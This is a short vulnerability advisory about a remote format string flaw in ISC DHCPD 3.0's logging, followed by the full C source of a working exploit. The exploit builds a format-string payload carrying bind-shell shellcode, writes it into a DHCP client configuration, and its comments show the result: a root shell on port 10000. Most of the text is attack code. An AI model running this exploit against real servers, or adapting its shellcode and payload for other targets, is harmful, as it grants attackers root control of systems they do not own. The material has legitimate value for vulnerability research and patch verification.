source: http://www.securityfocus.com/bid/4701/info

The ISC DHCPD (Dynamic Host Configuration Protocol) is a collection of software implementing the DHCP protocol. It is available for a range of operating systems, including BSD and Solaris.

A remote format string vulnerability has been reported in multiple versions of the DHCPD server. User supplied data is logged in an unsafe fashion. Exploitation of this vulnerability may result in arbitrary code being executed by the DHCP server, which generally runs as the root user.

This vulnerability is dependant on the NSUPDATE configuration option being enabled. NSUPDATE is enabled by default in versions 3.0 and later of the DHCPD server.

/***********************************************************
 * hoagie_dhcpd.c
 *
 * local and remote exploit for isc dhcpd 3.0 (perhaps others)
 *
 * hi 19c3 guys ;)
 *
 * gcc hoagie_dhcpd.c -o hoagie_dhcpd
 *
 * Author: Andi <andi@void.at>
 *
 * Greetz to Greuff, philipp and the other hoagie-fellas :-)
 *
 * For this exploit we use the very very useful dhcp client
 * option: hex-coloumn list as fqdn. For this trick we change
 * in common/tables.c the parsing option to "X". 
 *
 * # ./hd 
 * hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
 * using return address location: 0xbfffdd4c
 * return address: 0xbfffde38
 * dummy vprintf address: 0xbfffdd70
 * now run: dhclient -d -cf dhcp.conf eth0
 * # ./dhclient -d -cf dhcp.conf eth0
 * Internet Software Consortium DHCP Client V3.0
 * Copyright 1995-2001 Internet Software Consortium.
 * All rights reserved.
 * For info, please visit http://www.isc.org/products/DHCP
 * 
 * Listening on LPF/eth0/00:02:3f:af:89:fb
 * Sending on   LPF/eth0/00:02:3f:af:89:fb
 * Sending on   Socket/fallback
 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
 * ^C
 * # telnet dhcpserverip 10000
 * id;
 * uid=0(root) gid=0(root) groups=0(root)
 *
 * after I've written the return address location and used the
 * last %n parameter, vfprintf still pops values from the stack
 * so what happened: the dhcp server tries to write the written
 * bytes to something like 0x2578.... which is part of the format
 * string. so you have to add another dummy address pair where
 * vfprintf can write dummy bytes.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
 * DAMAGE DONE USING THIS PROGRAM.
 *
 ************************************************************/
#include <stdio.h>
#include <stdlib.h>

char shellcode[] = 
   "\x31\xdb"			// xor	ebx, ebx
   "\xf7\xe3"			// mul	ebx
   "\xb0\x66"			// mov     al, 102
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\x4b"			// dec     ebx
   "\xcd\x80"			// int     80h
   "\x89\xc7"			// mov     edi, eax
   "\x52"			// push    edx
   "\x66\x68\x27\x10"		// push    word 4135
   "\x43"			// inc     ebx
   "\x66\x53"			// push    bx
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x10"			// mov	al, 16
   "\x50"			// push	eax
   "\x51"			// push    ecx
   "\x57"			// push    edi
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x66"			// mov     al, 102
   "\xcd\x80"			// int     80h
   "\xb0\x66"			// mov     al, 102
   "\xb3\x04"			// mov     bl, 4
   "\xcd\x80"			// int     80h
   "\x50"			// push	eax
   "\x50"			// push	eax
   "\x57"			// push	edi
   "\x89\xe1"			// mov	ecx, esp
   "\x43"			// inc	ebx
   "\xb0\x66"			// mov	al, 102
   "\xcd\x80"			// int	80h
   "\x89\xd9"			// mov	ecx, ebx
   "\x89\xc3"			// mov     ebx, eax
   "\xb0\x3f"			// mov     al, 63
   "\x49"			// dec     ecx
   "\xcd\x80"			// int     80h
   "\x41"			// inc     ecx
   "\xe2\xf8"			// loop    lp
   "\x51"			// push    ecx
   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
   "\x89\xe3"			// mov     ebx, esp
   "\x51"			// push    ecx
   "\x53"			// push	ebx
   "\x89\xe1"			// mov	ecx, esp
   "\xb0\x0b"			// mov	al, 11
   "\xcd\x80";			// int     80h

char nop[] = "\x90\x90\x90\x90";

int retloc = 0xbfffdd4c;		/* use gdb to get it ;) */
int retaddr = 0xbfffde38;		/* hmm yes that sounds quite interesting */
int dummyaddr = 0xbfffdd70;		/* dummy stack pointer for vprintf */

void help() {
    printf("\t-l\t ... return address location\n");
    printf("\t-r\t ... return address\n");
    printf("\t-d\t ... dummy vfprintf address\n");
    exit(0);
} 

int main(int argc, char **argv) {
    char buffer[4096], output[4096], tmp[6], pad[4][20];
    FILE *fp;
    unsigned char rl[4], ra[4], da[4]; 
    int i, opt;
    unsigned int start, diff, ret;
    extern char *optarg;

    printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
    if (argc > 1) {
       while ( (opt = getopt(argc, argv, "hl:r:d:")) != EOF) {
          switch(opt) {
             case 'h': help(); break;
             case 'l': sscanf(optarg, "0x%x", &retloc); break;
             case 'r': sscanf(optarg, "0x%x", &retaddr); break;
             case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
          }
       }
    }
    printf("using return address location: 0x%x\n", retloc);
    printf("return address: 0x%x\n", retaddr); 
    printf("dummy vprintf address: 0x%x\n", dummyaddr);

    /* convert return address location */
    rl[0] = (char) (retloc >> 24);
    rl[1] = (char) (retloc >> 16);
    rl[2] = (char) (retloc >> 8);
    rl[3] = (char) retloc;

    /* convert dummy address */
    da[0] = (char) (dummyaddr >> 24);
    da[1] = (char) (dummyaddr >> 16);
    da[2] = (char) (dummyaddr >> 8);
    da[3] = (char) dummyaddr;

    /* calculate paddings */
    ra[3] = (char) (retaddr >> 24);
    ra[2] = (char) (retaddr >> 16);
    ra[1] = (char) (retaddr >> 8);
    ra[0] = (char) retaddr;

    start = 0xd4;
    for (i = 0; i < 4; i++) {
       if (start == ra[i]) {
          strcpy(pad[i], "");
       } else {
          if (start > ra[i]) {
             ret = ra[i];
             while (start > ret) ret += 0x100;
             diff = ret - start;
          } else {
	     diff = ra[i] - start;
          }
          sprintf(pad[i], "%%%du", diff); 
          start += diff;
       }
    }

    /* build the special format string */
    sprintf(buffer, 
            "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
            "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
            "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
            "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x" 
            "\x90\x90\x90\x90%c%c%c%c"
            "\x90\x90\x90\x90%c%c%c%c"
            "\x90\x90\x90\x90%c%c%c%c"
            "\x90\x90\x90\x90%c%c%c%c"
            "%s%%n" 
            "%s%%n"
            "%s%%n" 
            "%s%%n" 
	    "%s%s", 
            rl[3], rl[2], rl[1], rl[0], 
            rl[3] + 1, rl[2], rl[1], rl[0], 
            rl[3] + 2, rl[2], rl[1], rl[0],
            rl[3] + 3, rl[2], rl[1], rl[0], 
            da[3], da[2], da[1], da[0],
            da[3], da[2], da[1], da[0],
            da[3], da[2], da[1], da[0],
            da[3], da[2], da[1], da[0],
            pad[0], pad[1], pad[2], pad[3], nop, shellcode);

    /* convert to dhcp.conf syntax
     * hex style input format rules -> change your dhclient source -> tables.c and change fqdn to type X
     * to add binary values 
     */
    memset(output, 0, sizeof(output));
    for (i = 0; i < strlen(buffer) - 1; i++) {
        sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
        strcat(output, tmp);
    }
    sprintf(tmp, "%02x", (unsigned char)buffer[i]);
    strcat(output, tmp);

    /* create dhcp.conf and write options */
    fp = fopen("dhcp.conf", "w");
    fprintf(fp, "send fqdn.server-update on;\n");
    fprintf(fp, "send fqdn.fqdn %s;", output);
    fclose(fp);

    /* have fun */
    printf("now run: dhclient -d -cf dhcp.conf eth0\n");
}
